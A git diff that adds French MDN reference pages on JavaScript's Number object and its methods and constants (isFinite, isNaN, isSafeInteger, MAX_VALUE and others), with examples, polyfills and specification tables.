+
Retourne une chaîne avec une représentation sensible à la langue de ce nombre. Surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.
+
{{jsxref("Number.prototype.toPrecision()", "Number.prototype.toPrecision(precision)")}}
+
Retourne une chaîne représentant le nombre avec une précision donnée en notation virgule fixe ou exponentielle.
+
{{jsxref("Number.prototype.toString()", "Number.prototype.toString([radix])")}}
+
Retourne une chaîne représentant le nombre dans une base numérique (radix) donnée. Surcharge la méthode {{jsxref("Object.prototype.toString()")}}.
+
{{jsxref("Number.prototype.valueOf()")}}
+
Retourne la valeur primitive de l'objet spécifié. Surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.
+
+
+ +

Exemples

+ +

Utiliser l'objet Number pour affecter des valeurs numériques à des variables

+ +

Dans l'exemple suivant, on utilise les propriétés de l'objet Number pour affecter des valeurs à des variables numériques :

+ +
var plusGrandNombre = Number.MAX_VALUE;
+var plusPetitNombre = Number.MIN_VALUE;
+var infini = Number.POSITIVE_INFINITY;
+var infiniNégatif = Number.NEGATIVE_INFINITY;
+var nonNumérique = Number.NaN;
+
+ +

Intervalle entier pour Number

+ +

Dans l'exemple suivant, on illustre les valeurs numériques maximales et minimales (exclues) qu'on peut représenter avec un nombre en JavaScript (pour plus de détails, voir le chapitre 6.1.6 du standard ECMAScript) :

+ +
var biggestInt = 9007199254740992; //Number.MAX_SAFE_INTEGER+1 (253-1)
+var smallestInt = -9007199254740992; //Number.MIN_SAFE_INTEGER-1 -(253-1)
+
+ +

Lorsqu'on analyse et convertit des données JSON, les valeurs en dehors de cet intervalle peuvent entraîner des erreurs ou des corruptions de valeurs lors de leurs conversions. Selon les objets qu'on souhaite représenter, on peut utiliser {{jsxref("String")}} dans certains cas pour représenter certaines valeurs.

+ +

Utiliser Number pour convertir un objet Date

+ +

Dans l'exemple suivant, on convertit un objet {{jsxref("Date")}} en une valeur numérique grâce à la fonction Number :

+ +
var d = new Date('December 17, 1995 03:24:00');
+console.log(Number(d));
+
+ +

Ceci affichera "819167040000".

+ +

Convertir une chaîne représentant une valeur numérique en un nombre

+ +
Number("123");       // 123
+Number("12.3");      // 12.3
+Number("12.00");     // 12
+Number("123e-1");    // 12.3
+Number("");          // 0
+Number("0x11");      // 17
+Number("0b11");      // 3
+Number("0o11");      // 9
+Number("toto");      // NaN
+Number("100a");      // NaN
+Number("-Infinity";) // -Infinity
+
+ +
+

Note  : On pourra également convertir null en 0 grâce à Number : Number(null) donnera 0.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7', 'Number')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-number-objects', 'Number')}}{{Spec2('ES6')}}Ajout des méthodes et propriétés suivantes : ({{jsxref("Number.EPSILON", "EPSILON")}}, {{jsxref("Number.isFinite", "isFinite")}}, {{jsxref("Number.isInteger", "isInteger")}}, {{jsxref("Number.isNaN", "isNaN")}}, {{jsxref("Number.parseFloat", "parseFloat")}}, {{jsxref("Number.parseInt", "parseInt")}})
{{SpecName('ESDraft', '#sec-number-objects', 'Number')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/number/isfinite/index.html b/files/fr/web/javascript/reference/global_objects/number/isfinite/index.html new file mode 100644 index 0000000000..953e9d8958 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/isfinite/index.html @@ -0,0 +1,115 @@ +--- +title: Number.isFinite() +slug: Web/JavaScript/Reference/Objets_globaux/Number/isFinite +tags: + - ECMAScript6 + - JavaScript + - Méthode + - Number + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Number/isFinite +--- +
{{JSRef}}
+ +

La méthode Number.isFinite() permet de déterminer si la valeur fournie est un nombre fini.

+ +
{{EmbedInteractiveExample("pages/js/number-isfinite.html")}}
+ + + +

Syntaxe

+ +
Number.isFinite(valeurÀTester);
+ +

Paramètres

+ +
+
valeurÀTester
+
La valeur dont on souhaite savoir si elle est finie.
+
+ +

Valeur de retour

+ +

Un booléen indiquant si la valeur passée en argument est un nombre fini.

+ +

Description

+ +

Par rapport à la fonction de l'objet global {{jsxref("isFinite","isFinite()")}} qui convertit l'argument donné en un nombre, la fonction Number.isFinite ne convertit pas l'argument et ne renvoie pas true.

+ +

Exemples

+ +
Number.isFinite(Infinity);  // false
+Number.isFinite(NaN);       // false
+Number.isFinite(-Infinity); // false
+
+Number.isFinite(0);         // true
+Number.isFinite(2e64);      // true
+
+Number.isFinite("0");       // false, ce qui aurait
+                            // renvoyé true avec isFinite("0")
+
+Number.isFinite(null);      // false, ce qui aurait
+                            // renvoyé true avc isFinite(null)
+
+ +

Prothèse d'émulation (polyfill)

+ +
// Number.isFinite polyfill
+// http://people.mozilla.org/~jorendorff/es6-draft.html#sec-number.isfinite
+if (typeof Number.isFinite !== 'function') {
+    Number.isFinite = function isFinite(value) {
+        // 1. Si Type(number) n'est pas Number, on renvoie false.
+        if (typeof value !== 'number') {
+            return false;
+        }
+        // 2. Si le nombre est NaN, +∞, ou −∞, on renvoie false.
+        if (value !== value || value === Infinity || value === -Infinity) {
+            return false;
+        }
+        // 3. Sinon on renvoie true.
+        return true;
+    };
+}
+
+ +

Deuxième version plus concise qui utilise la méthode globale isFinite

+ +
if (Number.isFinite === undefined) Number.isFinite = function(value) {
+    return typeof value === "number" && isFinite(value);
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-number.isfinite', 'Number.isInteger')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.isfinite', 'Number.isInteger')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.isFinite")}}

+ +

Voir aussi

+ +
    +
  • L'objet {{jsxref("Number")}} auquel appartient cette méthode
    • +
  • La méthode {{jsxref("isFinite", "isFinite()")}} de l'objet global
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/isinteger/index.html b/files/fr/web/javascript/reference/global_objects/number/isinteger/index.html new file mode 100644 index 0000000000..447c80ede2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/isinteger/index.html @@ -0,0 +1,102 @@ +--- +title: Number.isInteger() +slug: Web/JavaScript/Reference/Objets_globaux/Number/isInteger +tags: + - JavaScript + - Méthode + - Number + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger +--- +
{{JSRef}}
+ +

La méthode Number.isInteger() permet de déterminer si l'argument est un nombre entier.

+ +
{{EmbedInteractiveExample("pages/js/number-isinteger.html")}}
+ + + +

Syntaxe

+ +
Number.isInteger(valeurÀTester)
+ +

Paramètres

+ +
+
valeurÀTester
+
La valeur dont on souhaite savoir si elle est entière ou non.
+
+ +

Valeur de retour

+ +

Un booléen qui indique si la valeur fournie en argument est un entier.

+ +

Description

+ +

Si la valeur à tester est un entier, cette méthode renvoie true, false sinon. Si la valeur est {{jsxref("NaN")}} ou l'infini ({{jsxref("Infinity")}}), la méthode renverra false. La méthode renverra également true pour les nombres flottants qui peuvent être représentés comme des entiers.

+ +

Exemples

+ +
Number.isInteger(1);         // true
+Number.isInteger(-100000);   // true
+Number.isInteger(0);         // true
+Number.isInteger(1.000)      // true
+// Number.isInteger(9…9999); // true, même si le nombre dépasse 32 bits
+
+Number.isInteger(0.1);       // false
+Number.isInteger(Math.PI);   // false
+
+Number.isInteger(-Infinity); // false
+Number.isInteger(true);      // false
+Number.isInteger(NaN);       // false
+Number.isInteger("10");      // false
+
+Number.isInteger(5.0);       // true
+Number.isInteger(5.000000000000001);// false
+Number.isInteger(5.0000000000000001); // true
+
+ +

Prothèse d'émulation (polyfill)

+ +
Number.isInteger = Number.isInteger || function(value) {
+    return typeof value === "number" &&
+           isFinite(value) &&
+           Math.floor(value) === value;
+};
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-number.isinteger', 'Number.isInteger')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.isinteger', 'Number.isInteger')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.isInteger")}}

+ +

Voir aussi

+ +
    +
  • L'objet global {{jsxref("Number")}} auquel appartient cette méthode.
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/isnan/index.html b/files/fr/web/javascript/reference/global_objects/number/isnan/index.html new file mode 100644 index 0000000000..5915747056 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/isnan/index.html @@ -0,0 +1,104 @@ +--- +title: Number.isNaN() +slug: Web/JavaScript/Reference/Objets_globaux/Number/isNaN +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Number + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN +--- +
{{JSRef}}
+ +

La méthode Number.isNaN() permet de déterminer si la valeur passée en argument est {{jsxref("NaN")}}, avec un type {{jsxref("Number")}}. Cette version est plus robuste que la méthode de l'objet global {{jsxref("isNaN")}}.

+ +
{{EmbedInteractiveExample("pages/js/number-isnan.html", "taller")}}
+ + + +

Syntaxe

+ +
Number.isNaN(valeurÀTester)
+ +

Paramètres

+ +
+
valeurÀTester
+
La valeur qu'on souhaite comparer à {{jsxref("NaN")}}.
+
+ +

Valeur de retour

+ +

Un booléen qui indique si la valeur fournie en argument est {{jsxref("NaN")}}.

+ +

Description

+ +

Les deux opérateurs d'égalité, {{jsxref("Opérateurs/Opérateurs_de_comparaison", "==", "#.C3.89galit.C3.A9_simple_(.3D.3D)")}} et {{jsxref("Opérateurs/Opérateurs_de_comparaison", "===", "#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}, renvoient false pour vérifier que {{jsxref("NaN")}} est NaN. La fonction Number.isNaN est nécessaire pour distinguer ce cas. Le résultat de cette comparaison sera différent avec les autres méthodes de comparaisons en JavaScript.

+ +

En effet, la fonction globale {{jsxref("isNaN")}} convertit l'argument en un nombre.  Number.isNaN ne convertit pas l'argument. Cela signifie qu'on peut passer des valeurs qui, normalement, seraient converties en NaN, mais qui ne sont pas NaN. Cela signifie également que, uniquement lorsque la méthode sera utilisée avec des nombres qui valent NaN, elle renverra true.

+ +

Exemples

+ +
Number.isNaN(NaN); // true
+Number.isNaN(Number.NaN); // true
+Number.isNaN(0 / 0); // true
+
+// tout le reste renverra : false
+Number.isNaN(undefined);
+Number.isNaN({});
+
+Number.isNaN(true);
+Number.isNaN(null);
+Number.isNaN(37);
+
+Number.isNaN("37");
+Number.isNaN("37.37");
+Number.isNaN("");
+Number.isNaN(" ");
+Number.isNaN("NaN");
+Number.isNaN("blabla"); // ex : cette valeur aurait rendu true avec la méthode isNaN de l'objet global
+ +

Prothèse d'émulation (polyfill)

+ +

La fonction suivant fonctionne car NaN est la seule valeur JavaScript qui n'est pas égale à elle-même.

+ +
Number.isNaN = Number.isNaN || function(value) {
+    return typeof value === "number" && isNaN(value);
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.isnan', 'Number.isnan')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.isNaN")}}

+ +

Voir aussi

+ +
    +
  • L'objet {{jsxref("Number")}} auquel appartient cette méthode.
    • +
  • La méthode {{jsxref("Objets_globaux/Object/is", "Object.is")}} qui permet d'effectuer des comparaisons sur l'égalité de valeur
    • +
  • La méthode {{jsxref("isNaN")}} de l'objet global
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/issafeinteger/index.html b/files/fr/web/javascript/reference/global_objects/number/issafeinteger/index.html new file mode 100644 index 0000000000..3aa5accb87 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/issafeinteger/index.html @@ -0,0 +1,100 @@ +--- +title: Number.isSafeInteger() +slug: Web/JavaScript/Reference/Objets_globaux/Number/isSafeInteger +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Number + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger +--- +
{{JSRef}}
+ +

La méthode Number.isSafeInteger() permet de déterminer si la valeur, passée en argument, est un entier représentable correctement en JavaScript (c'est-à-dire un nombre compris entre -(253 -1) et 253 -1).

+ +
{{EmbedInteractiveExample("pages/js/number-issafeinteger.html")}}
+ + + +
+

Note : Pour représenter des entiers qui ne sont pas compris dans cet intervalle, on pourra utiliser le type {{jsxref("BigInt")}}.

+
+ +

Syntaxe

+ +
Number.isSafeInteger(valeurÀTester)
+ +

Paramètres

+ +
+
valeurÀTester
+
La valeur dont on souhaite savoir si elle représente un entier représentable correctement en une valeur non signée sur 32 bits. (JavaScript utilise les nombres au format de virgule flottante à double précision comme spécifié dans IEEE 754 et ne peut représenter avec certitude un entier qu'entre -(253-1) et 253 -1 (c'est-à-dire ± 9007199254740991).
+
+ +

Valeur de retour

+ +

Un booléen qui indique si la valeur fournie en argument est un entier représentable correctement en JavaScript.

+ +

Description

+ +

Un entier correctement représentable en JavaScript :

+ +
    +
  • peut exactement être représenté avec un nombre à précision double selon IEEE-754
    • +
  • la réprésentation IEEE-754 du nombre ne permet pas de l'arrondir à un autre entier pouvant être représenté avec le format décrit par IEEE-754.
    • +
+ +

Ainsi, par exemple, 253 - 1 peut être représenté correctement, aucun autre entier ne peut être arrondi en cette valeur selon IEEE-754. En revanche, 253 ne peut pas être représenté correctement car 253 + 1 sera arrondi en 253 selon les règles IEEE-754 (arrondi à l'entier le plus proche).

+ +

L'intervalle des entiers qui peuvent être correctement représentés est [-(253 - 1),253 - 1 ].

+ +

Exemples

+ +
Number.isSafeInteger(3);                    // true
+Number.isSafeInteger(Math.pow(2, 53))       // false
+Number.isSafeInteger(Math.pow(2, 53) - 1)   // true
+Number.isSafeInteger(NaN);                  // false
+Number.isSafeInteger(Infinity);             // false
+Number.isSafeInteger("3");                  // false
+Number.isSafeInteger(3.1);                  // false
+Number.isSafeInteger(3.0);                  // true
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.isSafeInteger")}}

+ +

Voir aussi

+ +
    +
  • L'objet {{jsxref("Number")}} auquel appartient cette méthode
    • +
  • {{jsxref("Number.MIN_SAFE_INTEGER")}}
    • +
  • {{jsxref("Number.MAX_SAFE_INTEGER")}}
    • +
  • {{jsxref("BigInt")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/max_safe_integer/index.html b/files/fr/web/javascript/reference/global_objects/number/max_safe_integer/index.html new file mode 100644 index 0000000000..7266e8d4ae --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/max_safe_integer/index.html @@ -0,0 +1,74 @@ +--- +title: Number.MAX_SAFE_INTEGER +slug: Web/JavaScript/Reference/Objets_globaux/Number/MAX_SAFE_INTEGER +tags: + - ECMAScript 2015 + - JavaScript + - Number + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER +--- +
{{JSRef}}
+ +

La constante Number.MAX_SAFE_INTEGER représente la valeur (sûre) maximale d’un nombre entier en JavaScript (253 -1).

+ +
+

Note : Pour représenter des entiers supérieurs à cette valeur, on pourra utiliser le type {{jsxref("BigInt")}}.

+
+ +
{{EmbedInteractiveExample("pages/js/number-maxsafeinteger.html")}}
+ + + +

{{js_property_attributes(0,0,0)}}

+ +

Description

+ +

La constante MAX_SAFE_INTEGER a une valeur de 9007199254740991. Cette valeur s'explique par le fait que JavaScript utilise les nombres au format de virgule flottante à double précision comme spécifié dans IEEE 754 et ne peut représenter avec certitude qu’un nombre entre -(253-1) et 253 -1.

+ +

Dans ce contexte, « sûr » fait référence à la capacité à représenter exactement les entiers et à les comparer entre eux. Par exemple, Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2 vaudra true ce qui est mathématiquement incorrect. Pour plus d'informations, voir également {{jsxref("Number.isSafeInteger()")}}.

+ +

MAX_SAFE_INTEGER est une propriété statique de {{jsxref("Number")}}, elle doit toujours être utilisée comme Number.MAX_SAFE_INTEGER et non pas comme la propriété d'un objet Number qui aurait été instancié.

+ +

Exemples

+ +
Number.MAX_SAFE_INTEGER // 9007199254740991
+Math.pow(2, 53) -1      // 9007199254740991
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.MAX_SAFE_INTEGER")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.MIN_SAFE_INTEGER")}}
    • +
  • {{jsxref("Number.isSafeInteger()")}}
    • +
  • {{jsxref("BigInt")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/max_value/index.html b/files/fr/web/javascript/reference/global_objects/number/max_value/index.html new file mode 100644 index 0000000000..405b3da898 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/max_value/index.html @@ -0,0 +1,80 @@ +--- +title: Number.MAX_VALUE +slug: Web/JavaScript/Reference/Objets_globaux/Number/MAX_VALUE +tags: + - JavaScript + - Number + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE +--- +
{{JSRef}}
+ +

La propriété Number.MAX_VALUE représente la valeur maximale qui peut être représentée par un nombre en JavaScript.

+ +
{{EmbedInteractiveExample("pages/js/number-maxvalue.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

La propriété statique MAX_VALUE vaut environ 1.79E+308 (soit 21024). Les valeurs supérieures à MAX_VALUE sont représentées par {{jsxref("Infinity")}} (pour l'infini).

+ +

MAX_VALUE est une propriété statique de {{jsxref("Number")}}, il faut donc l'utiliser avec Number.MAX_VALUE, plutôt qu'en faisant appel à la propriété d'un objet Number qui aurait été instancié (si on appelle cette propriété sur l'objet Number créé, on obtiendra {{jsxref("undefined")}}).

+ +

Exemples

+ +

Le code suivant teste si le produit de deux nombres est inférieur ou égal à MAX_VALUE, selon le résultat de ce test, soit on utilisera func1, soit on utilisera func2.

+ +
if (num1 * num2 <= Number.MAX_VALUE) {
+   func1();
+} else {
+   func2();
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.3.2', 'Number.MAX_VALUE')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.max_value', 'Number.MAX_VALUE')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.max_value', 'Number.MAX_VALUE')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.MAX_VALUE")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.MIN_VALUE")}}
    • +
  • {{jsxref("Number")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/min_safe_integer/index.html b/files/fr/web/javascript/reference/global_objects/number/min_safe_integer/index.html new file mode 100644 index 0000000000..8f19b905d2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/min_safe_integer/index.html @@ -0,0 +1,72 @@ +--- +title: Number.MIN_SAFE_INTEGER +slug: Web/JavaScript/Reference/Objets_globaux/Number/MIN_SAFE_INTEGER +tags: + - ECMAScript 2015 + - JavaScript + - Number + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER +--- +
{{JSRef}}
+ +

La constante Number.MIN_SAFE_INTEGER représente le plus petit entier représentable correctement en JavaScript (-(253 -1)).

+ +
+

Note : Pour représenter des entiers inférieurs à cette valeur, on pourra utiliser le type {{jsxref("BigInt")}}.

+
+ +
{{EmbedInteractiveExample("pages/js/number-min-safe-integer.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

La constante MIN_SAFE_INTEGER vaut -9007199254740991. Cette valeur provient du fait qu'en JavaScript, les nombres sont représentés en format à double précision selon la norme IEEE 754 et on ne peut représenter correctement que les nombres compris entre -(253-1) et 253 -1. Voir {{jsxref("Number.isSafeInteger()")}} pour plus d'informations.

+ +

MIN_SAFE_INTEGER étant une méthode statique de {{jsxref("Number")}}, il faut utiliser Number.MIN_SAFE_INTEGER()et non pas la méthode d'un objet Number qui aurait été instancié.

+ +

Exemples

+ +
Number.MIN_SAFE_INTEGER // -9007199254740991
+-Math.pow(2, 53) -1     // -9007199254740991
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.min_safe_integer', 'Number.MIN_SAFE_INTEGER')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.min_safe_integer', 'Number.MIN_SAFE_INTEGER')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.MIN_SAFE_INTEGER")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.MAX_SAFE_INTEGER")}}
    • +
  • {{jsxref("Number.isSafeInteger()")}}
    • +
  • {{jsxref("BigInt")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/min_value/index.html b/files/fr/web/javascript/reference/global_objects/number/min_value/index.html new file mode 100644 index 0000000000..4a70b026d9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/min_value/index.html @@ -0,0 +1,83 @@ +--- +title: Number.MIN_VALUE +slug: Web/JavaScript/Reference/Objets_globaux/Number/MIN_VALUE +tags: + - JavaScript + - Number + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE +--- +
{{JSRef}}
+ +

La propriété Number.MIN_VALUE représente la plus petite valeur numérique positive qu'il est possible de représenter en JavaScript.

+ +
{{EmbedInteractiveExample("pages/js/number-min-value.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

La propriété MIN_VALUE représente le nombre positif le plus proche de 0 et non pas le nombre négatif minimal qu'il est possible de représenter en JavaScript.

+ +

MIN_VALUE vaut environ 5e-324. Les valeurs inférieures à MIN_VALUE sont converties en 0.

+ +

MIN_VALUE est une propriété statique de {{jsxref("Number")}} et doit donc être utilisée avec la syntaxe Number.MIN_VALUE, et non pas via la propriété d'un objet Number qui aurait été instancié.

+ +

Exemples

+ +

Le code qui suit effectue la division de deux nombres. Si le résultat obtenu est supérieur ou égal à MIN_VALUE, la fonction func1 sera appelée, sinon la fonction func2 sera utilisée.

+ +
if (num1 / num2 >= Number.MIN_VALUE) {
+    func1();
+} else {
+    func2();
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1
{{SpecName('ES5.1', '#sec-15.7.3.3', 'Number.MIN_VALUE')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.min_value', 'Number.MIN_VALUE')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.min_value', 'Number.MIN_VALUE')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.MIN_VALUE")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.MAX_VALUE")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/nan/index.html b/files/fr/web/javascript/reference/global_objects/number/nan/index.html new file mode 100644 index 0000000000..71f705c9cc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/nan/index.html @@ -0,0 +1,64 @@ +--- +title: Number.NaN +slug: Web/JavaScript/Reference/Objets_globaux/Number/NaN +tags: + - JavaScript + - Number + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN +--- +
{{JSRef}}
+ +

La propriété Number.NaN représente une valeur qui n'est pas un nombre (en anglais « Not-A-Number » qui donne NaN). Elle est équivalente à {{jsxref("NaN")}}.

+ +
{{EmbedInteractiveExample("pages/js/number-nan.html")}}
+ +

Il n'est pas nécessaire de créer un objet {{jsxref("Number")}} pour accéder à cette propriété statique. Il suffit d'utiliser directement Number.NaN.

+ +

{{js_property_attributes(0,0,0)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.3.4', 'Number.NaN')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.nan', 'Number.NaN')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.nan', 'Number.NaN')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.NaN")}}

+ +

Voir aussi

+ +
    +
  • L'objet global {{jsxref("NaN")}} ;
    • +
  • L'objet {{jsxref("Number")}} auquel appartient cette propriété.
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/negative_infinity/index.html b/files/fr/web/javascript/reference/global_objects/number/negative_infinity/index.html new file mode 100644 index 0000000000..5676e99d27 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/negative_infinity/index.html @@ -0,0 +1,99 @@ +--- +title: Number.NEGATIVE_INFINITY +slug: Web/JavaScript/Reference/Objets_globaux/Number/NEGATIVE_INFINITY +tags: + - JavaScript + - Number + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY +--- +
{{JSRef}}
+ +

La propriété Number.NEGATIVE_INFINITY représente l'infini négatif.

+ +
{{EmbedInteractiveExample("pages/js/number-negative-infinity.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

La valeur de Number.NEGATIVE_INFINITY est égale à l'opposé de la valeur fournie par la propriété {{jsxref("Infinity")}} de l'objet global.

+ +

Cette valeur se comporte différemment de l'infini mathématique :

+ +
    +
  • Toute valeur positive, y compris {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}, multipliée par NEGATIVE_INFINITY sera égale à NEGATIVE_INFINITY.
    • +
  • Toute valeur négative, y compris NEGATIVE_INFINITY, multipliée par NEGATIVE_INFINITY sera égale à POSITIVE_INFINITY.
    • +
  • Zéro multiplié par NEGATIVE_INFINITY sera égal à {{jsxref("NaN")}}.
    • +
  • NaN multiplié par NEGATIVE_INFINITY sera égal à NaN.
    • +
  • NEGATIVE_INFINITY, divisé par n'importe quelle valeur négative, à l'exception de  NEGATIVE_INFINITY, sera égal à POSITIVE_INFINITY.
    • +
  • NEGATIVE_INFINITY, divisé par n'importe quelle valeur positive à l'exception de  POSITIVE_INFINITY, sera égal à NEGATIVE_INFINITY.
    • +
  • NEGATIVE_INFINITY, divisé par NEGATIVE_INFINITY ou POSITIVE_INFINITY, sera égal à NaN.
    • +
  • Tout nombre positif divisé par NEGATIVE_INFINITY sera égal au zéro négatif.
    • +
  • Tout nombre négatif divisé par NEGATIVE_INFINITY sera égal au zéro positif.
    • +
+ +

La propriété Number.NEGATIVE_INFINITY peut être utilisée pour indiquer une erreur sur un test renvoyant normalement un nombre fini. On notera cependant que la méthode {{jsxref("isFinite")}} est plus pertinente dans ce cas.

+ +

Number.NEGATIVE_INFINITY est une propriété statique de {{jsxref("Number")}} et on utilisera directement Number.NEGATIVE_INFINITY plutôt que comme une propriété d'un objet (instance) {{jsxref("Number")}}.

+ +

Exemples

+ +

Dans l'exemple qui suit, on affecte une variable inférieure à la valeur numérique minimale à la variable petitNombre. Lorsque l'instruction conditionnelle if est exécutée, petitNombre possède la valeur "-Infinity", on modifie donc la valeur de petitNombre afin qu'il puisse être géré.

+ +
var petitNombre = (-Number.MAX_VALUE) * 2
+
+if (petitNombre === Number.NEGATIVE_INFINITY) {
+ petitNombre = renvoyerUneValeurFinie();
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.3.5', 'Number.NEGATIVE_INFINITY')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

